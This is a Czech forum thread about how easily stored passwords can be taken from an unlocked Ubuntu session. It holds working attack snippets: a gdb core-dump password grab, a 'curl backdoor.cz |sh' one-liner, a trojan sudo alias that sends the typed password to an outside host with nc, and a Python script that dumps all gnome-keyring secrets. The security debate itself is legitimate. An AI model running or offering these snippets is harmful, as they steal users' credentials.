Krademe hesla k účtům z Ubuntu 13.04 (diskuse)

[Jardík]

Zase na druhou stranu by to z firefoxu šlo vydloubat nějakým udělátkem na čtení z paměti. Zadání hesla při zobrazení hesel po odemčení té klíčenky spíš jen pocit bezpečnosti dává. Ale alespoň jednou se to tam teda zadat musí, takže asi ok. Teď záleží na tom, jak moc je ta klíčenka bezpečná, aby to nebyla kokoťárna typu: Na začátku je MD5 součet hesla, když md5(heslo) sedí, rozšifruj klíčem sha256(md5+heslo) nebo tak něco.

[smazáno]

> Zase na druhou stranu by to z firefoxu šlo vydloubat nějakým udělátkem na čtení z paměti.

Na to by si ale potreboval roota.

[Jendа]

Kecy.

[smazáno]

Vzdyt tam kazdy prikaz zacina sudo

[Jendа]

Moje gdb funguje pod uživatelem.

[smazáno]

Jak resime v dalsich 20 prispevcich - nakonec sam priznavas, ze v Ubuntu se k pameti jineho procesu nedostanes.

Tak si prosim priste ty jednoslovne utocne komentare odpust, zvlast kdyz se nakonec ukaze ze nemas pravdu

PS: Ale stejne si te vazim, uz kvuli tem clankum o hackovni GSM, akorat prosim udelej neco s tou aroganci (a tim nemyslim tvoje komentare jen u tohoho blogpostu).

[Jendа]

Dočkáme se proto v rámci objektivity dalších videoblogů „Krademe hesla k účtům z čehokoli kromě Ubuntu“? ;)

Jo, omlouvám se…

[smazáno]

Jo, uz delam na pokracovani ... ale zase na Ubuntu (nechce se mi rebootovat testovaci laptop do Fedory). Tak to holt objektivita zase odnese ...

[Jendа]

firefox@tatava:~$ id
uid=1001(firefox) gid=1002(firefox) groups=1002(firefox),29(audio)
firefox@tatava:~$ ps axu |grep iceweasel
firefox   1296  0.0  0.0   7944   888 pts/6    S+   01:03   0:00 grep iceweasel
root      7641  0.0  0.0  58808  2004 ?        S    dub25   0:00 sudo -u firefox iceweasel
firefox   7642  1.1  7.2 1155032 586964 ?      Sl   dub25   3:58 /usr/lib/iceweasel/firefox-bin
firefox@tatava:~$ gdb --pid 7642
(gdb) gcore
Saved corefile core.7642
(gdb) ^CQuit
Detaching from program: /usr/lib/xulrunner-10.0/xulrunner-stub, process 7642
firefox@tatava:~$ strings core.7642 |grep nbusr
nbusr123

[smazáno]

lukas@devlaptop-raring:~/dev$ gdb --pid 6952
GNU gdb (GDB) 7.5.91.20130417-cvs-ubuntu
Copyright (C) 2013 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later 
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
For bug reporting instructions, please see:

Attaching to process 6952
Could not attach to process.  If your uid matches the uid of the target
process, check the setting of /proc/sys/kernel/yama/ptrace_scope, or try
again as the root user.  For more details, see /etc/sysctl.d/10-ptrace.conf
ptrace: Operation not permitted.

Tohle je cista instalace raringu - a opet, bez roota to nepude.

[Jendа]

Jak by sis představoval ochranu před útočníkem, který má práva daného uživatele?

[smazáno]

Linux se ti postara, aby ti z pameti nikdo (krome roota, coz je ok) neprectl desifrovane heslo. A ty se pak musis postarat, ze kdokoliv komu to heslo das je duveryhodny (napriklad se zeptas uzivatele, jestli veri tomu a tomu procesu), ale kdyz pak kazdy druhy proces bude /usr/bin/python to uz tak jednoduche nebude

Samozrejme, Firefox toto resit nemusi, protoze ty hesla pouziva jen sam pro sebe (coz by ostatne mohl resit podobne i signond misto toho, aby pouzival gnome-keyring).

[Jendа]

Linux se ti postara, aby ti z pameti nikdo (krome roota, coz je ok) neprectl desifrovane heslo.

To možná umí hardened kernely, ale jinak si coredump vyhodit můžu.

A ty se pak musis postarat

V okamžiku, kdy ti útočník mohl klikat a psát po obrazovce, si tam klidně mohl stáhnout libovolný backdoor. Že se Firefox bude bránit heslo říct nepomůže.

[smazáno]

To možná umí hardened kernely, ale jinak si coredump vyhodit můžu.

Ten argument s gdb uz dava smysl, narozdil od toho prvniho odkazu s arogantnim komentarem co si poslal.

Asi ten keyring budu muset bezet pod separatnim uzivatelem.

V okamžiku, kdy ti útočník mohl klikat a psát po obrazovce, si tam klidně mohl stáhnout libovolný backdoor. Že se Firefox bude bránit heslo říct nepomůže.

To je prave blbost. Sestkrat kliknout a nainstalovat backdoor je sakra rozdil. To ze se do systemu da dostat slozite, neznamena ze by to melo jit i jednodusse!

Samozrejme, nechavat otevrenou session je dost blbost, ale dovolit aby kdokoliv kdo projde kolem mohl vypsat hesla v plain-textu je blbost stejne tak! Tobe by prislo ok, kdyby sis kdykoliv po prihlaseni mohl vypsat svoje heslo do Linuxu v plain text podobe prikazem "whatismypwd" ?

[smazáno]

Tak ani ten trick s gdb na cistym Ubuntu nefunguje.

[Jendа]

Asi ten keyring budu muset bezet pod separatnim uzivatelem.

Bohužel pokud se loguješ plaintext heslem (a ne třeba nějakou asymetrickou kryptografií), bude muset keyring umět toto heslo nějak předat aplikaci, která si o něj požádá. A jsme zase tam, kde jsme byli. Leda že by keyring požadoval potvrzení každé akce. Ale pak zase musíš nějak ošetřit, aby šlo na X11 udělat bezpečné potvrzení, což teď nejde (libovolný X klient si může hýbat myší, jak chce).

Sestkrat kliknout a nainstalovat backdoor je sakra rozdil.

curl backdoor.cz |sh

ale dovolit aby kdokoliv kdo projde kolem mohl vypsat hesla v plain-textu je blbost stejne tak!

Na druhou stranu nemožnost získání uloženého hesla z aplikace (má to tak třeba Psi+) považuji za vážný nedostatek. Člověk potřebuje zjistit heslo k Jabberu, aby se mohl přihlásit na mobilu, a musí kvůli tomu hackovat vlastní systém? WTF?

Firefoxí cesta, kdy chce znovu zadat heslo, které už zná… no, budiž.

Nejspíš jsem deformovaný tím, že mám kamarády, kteří, když odejdu od nezamčené session, spíš nainstalují ten backdoor, než aby se koukali do Firefoxu .

[smazáno]

Bohužel pokud se loguješ plaintext heslem (a ne třeba nějakou asymetrickou kryptografií), bude muset keyring umět toto heslo nějak předat aplikaci, která si o něj požádá. A jsme zase tam, kde jsme byli. Leda že by keyring požadoval potvrzení každé akce.

Ano, presne o tom to video je, ze toto gnome-keyring neumi, a je z toho obrovsky _realny_ bezpectnostni problem! btw. neni potreba potrvrzovat kazdou akci.

Ale pak zase musíš nějak ošetřit, aby šlo na X11 udělat bezpečné potvrzení, což teď nejde (libovolný X klient si může hýbat myší, jak chce).

Jo, poresit bezpectnost Xkek (resp. Mir a Wayland) je taky potreba - i kdyz, o realnych utocich na Xka toho moc nevim, jen z doslechu.

curl backdoor.cz |sh

Naivni. Musis ho schovat a to muze byt fakt sranda, kdyz nemas root pristup! Navic ti ten backdoor pri spravne zabezpecenem keyringu bude k nicemu, protoze ty hesla z nej stejne nedostanes ... takze se bavime o hackovani a podvrhovani Xkek a to uz je hooodne prace (a navic ten exploit porad neschovas, protoze nemas roota ).

Na druhou stranu nemožnost získání uloženého hesla z aplikace (má to tak třeba Psi+) považuji za vážný nedostatek.

WTF

Firefoxí cesta, kdy chce znovu zadat heslo, které už zná… no, budiž.

Chce ho znat znovu, protoze rozlisuje mezi pouzivanim a zobrazenim hesel z keyringu - coz se mi _dost_ libi.

Nejspíš jsem deformovaný tím, že mám kamarády, kteří, když odejdu od nezamčené session, spíš nainstalují ten backdoor, než aby se koukali do Firefoxu .

Ve firefoxu toho moc nevyctou, ale v gnome-keyringu toho najdou vic nez pomoci backdooru

[Mrkva]

Naivni. Musis ho schovat a to muze byt fakt sranda, kdyz nemas root pristup! Navic

A ty vis, co je v tom skriptu? :) A "spravne zabezpeceny keyring" je akorat tak zamceny a nikdy neodemceny keyring.

[smazáno]

> A ty vis, co je v tom skriptu? :)

Bez roota je uplne jedno co v tom skriptu je. A pokud se bavime o tom, ze je v nem nejaky rootkit, tak je vase argumentace "nemusime zabezpecovat keyring, protoze nekdo stejne muze prijit s rootkitem" a to je uz hodne mimo

> A "spravne zabezpeceny keyring" je akorat tak zamceny a nikdy neodemceny keyring.

Dneska bohuzel ano. Ale musi se s tim neco udelat, napriklad Firefoxu se do keyringu nemas sanci dostat bez hodne sofistikovanyho utoku (napada me tezka magie s LD_PRELOAD nebo X11 hijacking). Hrozne rad bych, aby na tom byl jednoho dne gnome-keyring stejne.

A nebo muzeme tento pristup prijmout a zaridit, aby to tak chapal i BFU (a aby klicena byla porad zamcena) - to bych taky bral.

[Mrkva]

Já jen že

alias sudo='read -s -p "Password:" p; echo; echo -n "$p"|nc -q 0 mrkva.eu 6666 > /dev/null 2>&1; sleep 3s; echo -e "Sorry, try again."; `which sudo` $*'

je o dost jednodušší než otevírat něco ve FF a něco tam hledat :)

[smazáno]

Takto (respektive sofistikovanejsim utokem v podobnem stylu *) ziskas roota, zametes, a pak v tom Firefoxu muzes hledat (protoze hesla k online sluzbam jsou cenejsi nez root ).

Ja naprosto souhlasim s tim, ze ziskani pristupu k uzivatelske session je "game-over". Ale nesouhlasim s tim, ze by to mel byt duvod aby keyring daval vsechny hesla v plain-textu jakemukoliv procesu - ostatne jak vyvojari Gnome, tak Ubuntu, se s tim snazi neco delat.

* pro zacatek treba otevrit sudo v pty, at se na heslo nepta dvakrat

[w4rr10r]

OT proč píšeš "bezpectnost" místo "bezpečnost"?

[smazáno]

Diky, hned to tam opravim. Neziju v CZ.

[Ondrej 'SanTiago' Zajicek]

Na druhou stranu nemožnost získání uloženého hesla z aplikace (má to tak třeba Psi+) považuji za vážný nedostatek

Presne tak. Ja si v epiphany muzu kliknout na 'zobrazit hesla' a ulozena hesla v prohlizeci se mi normalne zobrazi. Cokoliv jineho je bezduvodna sikana uzivatelu a zacatek vzpoury stroju ;–) .

[smazáno]

Tvoje heslo z /etc/shadow si take normalne zobrazis? Z ssh-agenta passphrase take normalne vytahnes? Z androidu heslo ke google uctu?

[Ondrej 'SanTiago' Zajicek]

Z /etc/shadow si heslo nezobrazim, protoze tam defacto neni ulozeno. Passphrasi z ssh-agenta nedostanu, ale to je trochu jiny pripad (bavime se o hesle ke vzdalene sluzbe, nikoliv o hesle ke klicence), co se tyce pristupu k SSH klici samotnemu, tak tam to neni moc potreba, protoze klic mohu snadno zkopirovat z .ssh (prava, stale v zasifrovane podobe, ale zato ve standardni podobe, kterou akceptuji ostatni programy - pro webova hesla je standardni podoba plaintext)

[smazáno]

Jasne, rozdil mezi ssh-agentem a klicenkou je v tom, ze co se tyka hesel, tak je to 1:1 a nejedna se o jeden master password do klicenky, ktery chrani X hesel, a tudiz neni potreba aby ssh-agent zobrazil samotna hesla.

Na druhou stranu, prave ten ssh-agent je imho dobry priklad jak by signond mel fungovat.

Na disku mas ulozeny "ssh klic"/"zasifrovane heslo", ktere ti je na nic bez "passphrase"/"hesla ke klicence" a pak mas v pameti "ssh klic desifrovany passphrase"/"plain-text heslo". ssh-agent taky nikomu nedovoli (a dokonce si hlida i ten ptrace) pristup k citlivym informacim. A stejne by mel fungovat i signond (a jednou, snad, idealne i gnome-keyring).

Co se tyka klicenek, tak moznost zobrazit hesla v plain-textu po opetovnem explicitnim zadanim master hesla ke klicence je imho spravna, a jeho absence by mi take vadila

> co se tyce pristupu k SSH klici samotnemu, tak tam to neni moc potreba, protoze klic mohu snadno zkopirovat z .ssh (prava, stale v zasifrovane podobe, ale zato ve standardni podobe, kterou akceptuji ostatni programy - pro webova hesla je standardni podoba plaintext)

Ale jak urcite vis, tak ti je bez passphrase vlastne k nicemu.

[smazáno]

No, fakt by me zajimalo jak to heslo z pameti firefoxu vytahnout. Ted tady zkousim treba

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main() {
    char* x = malloc(4);
    strcpy(x,"xxx");
    printf("%p\n",x);
    printf("%s\n",x);
    while (1) {
        sleep(10);
    }
}

A pak to naivne precist (python):

f = open('/proc/6952/mem')
f.seek(0x9dca008)
print( f.read(4) )

Kde 6952 je pid toho ceckovyho prikladu nahore a 0x9dca008 je adresa pointeru co vypise, ale funguje to take jen pod rootem

[Jendа]

Musí být povolené ptrace pro uživatele. Ubuntu to má defaultně zakázané, ostatní distribuce to ale AFAIK mají povolené.

[kavol]

ostatní distribuce to ale AFAIK mají povolené.

mno

[smazáno]

Priste to prosimte zkus pred tim nez budes hazet linky, protoze zrovna Fedora 18 to ma ve vychozim nastaveni povolene.

Jinak na omezeni ptrace by mel stacit mainline a nemel by byt potreba SELinux.

Debian stable ma ptrace taky povoleny ve vychozim nastaveni a omezeni bude snad az v Jessie.

Centos 6 take umoznuje ptrace ve vychozim stavu.

[kavol]

Priste to prosimte zkus pred tim nez budes hazet linky,

zkusil jsem :-p

[smazáno]

Zajimave. V temer ciste Fedore 18 mi ptrace pod uzivatelem projde.

Jinak doufam, ze ti ten bug zavrou jako wontfix

[pavlix]

Jinak doufam, ze ti ten bug zavrou jako wontfix

Proč tak nepřející? Vždyť to vypadá jako bug, který by fakt stálo za to fixnout.

[smazáno]

Ale ne, myslel jsem to tak, pokud by ten fix mel byt "povolit ptrace"/"zbytecne otevreny SELinux" ... pokud to ve fedore fixnou hezky, tak urcite +1

[pavlix]

pokud to ve fedore fixnou hezky, tak urcite +1

Pokud místo fixnutí bugu půjdou cestou odstranění feature, tak:

1) Půjdou proti vůli hlásícího (kavola, pokud si dobře pamatuju).

2) Bude si z nich každý dělat akorát tak legraci.

[pavlix]

Priste to prosimte zkus pred tim nez budes hazet linky, protoze zrovna Fedora 18 to ma ve vychozim nastaveni povolene.

Já jsem na to právě na F17/F18 narazil (na F18 jsem upgradoval).

[smazáno]

Ja se bal, ze to pude i bez ptrace, kdyz si psal o potrebe hardended kernelu.

Ale stejne, to ze jine distribuce nez Ubuntu povoluji ptrace uzivateli je alarmujici.

[Martin Mareš]

Cože? Já naopak považuji za nestoudné, že někde ptrace sám od sebe nechodí. Je to úplně normální kernelová featura prospěšná k mnoha věcem, takže systém, ve kterém nefunguje, aniž si o to uživatel explicitně řekl, je prostě rozbitý.

Ostatně, nezávisle na ptrace existuje asi tak nekonečně mnoho způsobů, jak může uživatel ovlivňovat své vlastní procesy, takže se snažíte namontovat bezpečnostní dveře ke stanu :)

[Sten]

Každý proces může ptrace sebe povolit pro daný jiný proces pomocí PR_SET_PTRACER. Což IMO pokrývá všechny případy, které může běžný uživatel potřebovat.

[Martin Mareš]

Takže je potřeba předělat všechny programy, které používají ptrace. Vždyť jsem říkal, že to prostě rozbité

[smazáno]

OMG ... staci zmenit jednu hodnotu v /proc

[luv]

Muzes nejake zpusoby jak cist pamet jineho procesu teda ukazat? Rad se priucim

[Martin Mareš]

Například mohu tomu procesu pří spuštění preloadnout knihovnu, která vymění read() za jinou funkci :)

[smazáno]

Wow, o LD_PRELOAD jsem fakt jeste v zivote neslysel . Bavime se jiz o bezicich procesech.

[smazáno]

Jen pro doplneni. Pokud ten proces vypnes a znova a zapnes s nejakym LD_PRELOAD hackem, tak je ti to k nicemu, protoze jak keyring vypnes tak se ti zpameti smazou desifrovana hesla a uzivatel budu muset znova zadat heslo, aby klicenku odemcel. To muzes rovnou vytvorit nove okno, ktere se proste na to heslo zepta

[Martin Mareš]

Pokud ten proces vypnes a znova a zapnes s nejakym LD_PRELOAD hackem, tak je ti to k nicemu,

Není. Jakmile získám práva uživatele, mohu triviálně zařídit, aby až se příště uživatel přihlásí, knihovnu ke keyringu preloadnul. Game over.

Obecněji: Celý Unixový bezpečnostní model je postavený na tom, že uživatel sám sobě věří. Je naprosto naivní myslet si, že když ohackujeme jeden případ, abychom uživatele chránili před sebou samým, tak to bude bezpečné.

[smazáno]

Ok, beru to tak ze pristup do pameti jineho procesu bez ptrace opravdu nejde. Coz je jedine dobre, a presne ten duvod proc je v Ubuntu zakazany.

Není. Jakmile získám práva uživatele, mohu triviálně zařídit, aby až se příště uživatel přihlásí, knihovnu ke keyringu preloadnul. Game over.

Tam to zas tak trivialni nebude, je tam ve hre jeste PAM a display manager.

Obecněji: Celý Unixový bezpečnostní model je postavený na tom, že uživatel sám sobě věří. Je naprosto naivní myslet si, že když ohackujeme jeden případ, abychom uživatele chránili před sebou samým, tak to bude bezpečné.

Toto je sice tradicni Unixovy pristup, ale realne uz se peknou radku let nasazuje AppArmor a SELinux a podobna reseni. Osobne se mi libi snaha chranit uzivatele "pred sebou samym".

Navic v tomto pripade se jedna o primy pristup k plain-text heslum, a to si "ohackovani jednoho pripadu" zaslouzi.

Kdyz se kouknes na mailing list gnome-keyringu, tak zjistis ze ty hesla jsou volne pristupne, protoze nedokazali pres dbus spolehlive overit jaky proces si o ne zada, coz s AppArmor jde - a na tom ted Ubuntu vyvojari delaji.

[kavol]

Osobne se mi libi snaha chranit uzivatele "pred sebou samym".

hm, jistě, to je u ovcí velmi oblíbené, neustálé zákazy a příkazy, které ve skutečnosti nic neřeší, jenom ostatním komplikují život - ale což, z cizího krev neteče, dokud to nekomplikuje život mě, anebo pokud si to dovedu správně politicky vysvětlit, jak je vlastně skvělé utahovat si šrouby, tak budu nadále vesele bečet a lobovat za další a další nesmyslná omezení, že ...

[smazáno]

Ale ne, tak jsem to nemyslel. Tim "chranit uzivatele 'pred sebou samym'" jsem myslel z pohledu unix prav a bezpecnosti (ne z pohledu "ovecky potrebuji chranit").

[Martin Mareš]

Ok, beru to tak ze pristup do pameti jineho procesu bez ptrace opravdu nejde.

To netvrdím. Jen jsem líný nad tím přemýšlet, když existuje spousta jednodušších možností, jak systém cracknout

Pokud je cílem, aby děravý webový prohlížeč nemohl kompromitovat celý systém, pak je lepší zavřít prohlížeč do hodně těsného sandboxu, místo hackování celého systému, aby kompromitace nezpůsobila tolik škody. Protože sandbox můžete zabezpečit poměrně kvalitně, kdežto zbytek systému nikoliv.

[Jendа]

Pokud je cílem, aby děravý webový prohlížeč nemohl kompromitovat celý systém

Jenže jemu jde o to, aby systém nemohl kompromitovat uživatel (respektive ten, kdo zrovna drží klávesnici od odemčené session). Což mi přijde - přesně, jak píšeš - jako neproveditelné. Dneska uděláme password manager, který nechce říct hesla, a zítra si uvědomíme, že uživatel může zapisovat do .bashrc, s tím by se taky mělo něco dělat…

[Michal Karas]

Já jsem z toho blogpostu nezískal dojem, že by luv chtěl kompromitaci zamezit úplně, ale kritizuje to, že dostat se k těm heslům je až příliš jednoduché.

Vaše argumentace v tomto vlákně mi připomíná jeden článek Tony Arcieriho, kde mluví o lockpickingu (vyháčkování?):

The lock which secures the door of your home can be picked. It doesn't matter how expensive a lock you buy, someone can pick it. You can buy a top-of-the-line Medeco lock. It doesn't matter. Just go to Defcon, and watch some of the top lockpickers in the world open 10 Medeco locks in a row. Because locks are pickable, they are pointless, therefore we shouldn't put any locks on our doors at all.

Does that sound insane to you? I accept the truth that locks are easily pickable, but I certainly want locks on anything and everything I own. Putting locks on things you want to secure is common sense, and part of a strategy known as defense in depth. If someone tells you not to put a lock on your door just because locks are pickable, they're not really a trustworthy source of security advice.

[Martin Mareš]

Přirovnání k zámkům by vypadalo spíš takto: autor blogpostu navrhuje pověsit další zámek na dveře mezi předsíní a kuchyní, aby zloděj, který se už dostal do bytu, měl o něco těžší vybrakovat ledničku. A vůbec si přitom nevšiml, že jinde v bytě jsou věci daleko hodnotnější než obsah ledničky a že do kuchyně vedou ještě jedny další dveře.

[Michal Karas]

Tak když už jsme u toho fantazírování...

Mám v práci skříňku, ve které si nechávám svačinu. Aby mi ji kolegové neužírali, tak se rozhodnu, že si na ni dám malý zámeček. V tu chvíli přiběhne bezpečák a začne po mně řvát, že si tam žádný zámek zatraceně dávat nemám, protože každý zloděj by šel stejně primárně po sejfu ve vedlejší místostni a kdyby jó chtěl moji svačinu, tak s pákovkama se dovnitř dostane jedna dvě.

[kralyk z abclinuxu]

Řešení je prosté

[Martin Mareš]

Spíš řve, že zatímco si pečlivě nasazujete zámeček na skříňku se svačinou, tak jste za sebou nezavřel dveře z chodby

[Vskutečnosti Saýc]

To video je fakt zoufale. Nejen ze neumis mluvit (same "proste", "proste", "proste"), a ten ton je na pest, ale samotna premisa je houpa -- pokud mas takovyhle pristup k uzivatelske session, je to ciste odpovednost uzivatele. Taky jsi mohl udelat rm -rf ~, nainstalovat keylogger rozsireni do prohlizece nebo cokoli jineho.

Nemluve o tom, ze stezovat si na spatnou bezpecnost a pritom mit google ucet ... no ... kovarova kobyla?

[smazáno]

> To video je fakt zoufale. Nejen ze neumis mluvit (same "proste", "proste", "proste"), a ten ton je na pest

Moje prvni video, diky za motivujici feedback

> ale samotna premisa je houpa -- pokud mas takovyhle pristup k uzivatelske session, je to ciste odpovednost uzivatele.

A k cemu by mi "rm -rf ~" pomohlo??? Nainstalovat keylogger bez roota (a nedetekovatelne) ? Cim by utocnikovy pomohlo rozsireni do prohlizece (a jeste je potreba ho tam dostat nedetekovatelne)?

Dokazu si napriklad predstavit "fake" X11 okna "insert your password" - ale to je na tydny prace, pokud se to vubec povede, a uplne jina liga nez sestkrat kliknout/pustit nekolika radkovy python script! Tzn. tydny prace a pak doufat ze se utocnik ocitne u otevrene session vs. sest kliku. To vyjde na stejno, achjo.

Jinak, kdyz uz se do me ser*s, tak ja do UOA pomaham implementovat moznost smazani credentials bez smazani uctu, fixnul jsem segfault v epiphany kolem UOA, a accounts-sso a i to GUI okolo v Ubuntu celkem znam.

Ukaz realny utok napriklad na ten Firefox na Ubuntu a pokud se muze bavit nez blbe kecat

Premisa je takova, ze i kdyz nekdo ziska pristup k user session (ne roota), tak by nemel byt schopny ziskat plain-text hesla, nemel by byt schopny nainstalovat keylogger atd. misto fanaticko-alibistickeho "ma pristup k uzivatelske session, dal nas to nezajima".

[Jakub Lucký]

Ukaz realny utok napriklad na ten Firefox na Ubuntu a pokud se muze bavit nez blbe kecat

Pokud mám minutu, tak nahodím do Firefoxu rozšíření, které bude u každého <input type="password" odesílat obsah celého formu někam do mého api?

Jak často kontroluje uživatel, který mě pustí k počítači, kontroluje addony v prohlížeči?

[Jendа]

Doporučuji nahodit rozšíření, které ti rovnou otevře shell.

TODO: Dokážeme modifikovat existující rozšíření v ~/.mozilla, aby tohle dělalo, a přitom nebylo potřeba nové rozšíření viditelné v addon manageru?

[smazáno]

Bavime se o fyzickem pristupu k uzivatelske session, shell si otevres na dve kliknuti .

Maskovani v addon manageru ... hezky, ale to uz se z jednoho odpoledne stavaji dny/tydny prace (btw. nakazit jina rozsireni je celkem easy (je to jen (zazipovany) javascript), ale spolehlive je detekovat atd. uz takova sranda neni (navic porad musis schovat svuj server).

[Jendа]

Bavime se o fyzickem pristupu k uzivatelske session, shell si otevres na dve kliknuti .

Myslel jsem remote shell. Příkazy bude vykonávat přímo Firefox, takže uživatel neuvidí nic v ps - na rozdíl od klasického backdooru.

navic porad musis schovat svuj server

Jo jo, to je asi největší problém. I když obstarat si v dnešní době anonymně nějaký stroj už taky není problém (stačí ti PHP shell - najdi si libovolnou stránku se SQLi/path injection).

[smazáno]

Myslel jsem remote shell. Příkazy bude vykonávat přímo Firefox, takže uživatel neuvidí nic v ps - na rozdíl od klasického backdooru.

Hezky. Ale to zase z Firefoxu nedostanes hesla (teda pokud si tam nepridas prikaz "preposilej mi formulare"). Ale dobry zaklad pro botnet

[kralyk z abclinuxu]

TODO: Dokážeme modifikovat existující rozšíření v ~/.mozilla, aby tohle dělalo, a přitom nebylo potřeba nové rozšíření viditelné v addon manageru?

Nevím jak mozilla, ale Chromium má add-ony asymetricky šifrované...

[smazáno]

To se ale budou hesla posilat k tobe na server, ktery musis schovat - a to sakra dobre schovat. A pak musis cekat, az se uzivatel prihlasi k tve konkretni sluzbe. A celou dobu doufat, ze na to nahodou nenarizi, jinak ses uplne v haji.

Takze realne to je o dost problematictejsi nez si jen vyzvednout hesla v plain-textu. A hlavne detekovatelne.

Ale samozrejme realny utok to je.

[Jakub Lucký]

Tak to bude házet na nějaký obskurnější pastebin a posílat na anonymní mail linky...

Realizace zdaleka není tak složitá...

[smazáno]

Pravda, tohle funguje dobre jako ukazka, ze i kdyz se zabezpeci klicenka, tak pristup s pravy uzivatele je fakt game-over, bohuzel. No stejne si myslim, ze davat plain-text hesla jakemukoliv procesu jen tak je _hodne_ spatne.

PS: SELinux/AppArmor by tento utok na firefox mohl poresit

[kralyk z abclinuxu]

Jak často kontroluje uživatel, který mě pustí k počítači, kontroluje addony v prohlížeči?

Já poměrně často koukám ve svém prohlížeči (chromium) do process manageru, protože mě vytáčí stránky, co žerou hodně RAM/CPU. Jsou v něm mimo jiné vidět i všechna rozšíření a jejich použií RAM/CPU/Network, takže bych si toho snad všim...

[smazáno]

Tak jeste ukazka scriptu, ktery vytahne vsechny hesla z gnome keyringu:

from gi.repository import GObject
from gi.repository import GnomeKeyring

print("Dump all keyring entries...")
(_, names) = GnomeKeyring.list_keyring_names_sync()
for name in names:
    print("dumping keyring: %s" % name)
    (result, ids) = GnomeKeyring.list_item_ids_sync(name)
    for id in ids:  
       (result, item) = GnomeKeyring.item_get_info_sync(name, id) 
       if result != GnomeKeyring.Result.OK:
          print('%s is locked!' % id) 
       else:
             print('  => %s = %s' % (item.get_display_name(), item.get_secret() ) ) 

[thefox]

Asi nosenie dreva do hory, ale: http://xkcd.com/1200/